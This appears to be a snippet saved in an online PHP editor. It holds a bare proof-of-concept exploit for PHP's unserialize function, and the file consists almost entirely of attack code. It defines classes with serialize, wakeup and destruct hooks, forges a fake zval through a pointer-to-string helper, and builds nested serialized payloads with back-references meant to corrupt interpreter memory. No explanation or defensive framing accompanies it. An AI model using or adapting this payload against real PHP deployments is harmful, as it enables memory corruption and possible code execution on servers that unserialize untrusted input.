Online PHP editor | refs for AeavT

<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } class aod { public $aod; public function __destruct() { $this->aod=null;echo('des'); } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'a:1:{i:0;R:3;'; $exploit = 'a:3:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; $exploit.= 'i:1;s:'.strlen($fakezval).':"'.$fakezval.'";'; $exploit.= 'i:2;a:1:{i:13;a:1:{i:15;r:4;}}}'; $i='O:3:"aod":2:{s:3:"aod";a:5:{i:0;R:5;i:1;R:3;'; $j='C:3:"obj":'.strlen($i).':{'.$i.'}'; $k='C:3:"obj":'.strlen($j).':{'.$j.'}'; $l='a:2:{i:0;'.$k.'i:1;R:5;}'; $data = unserialize($l); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }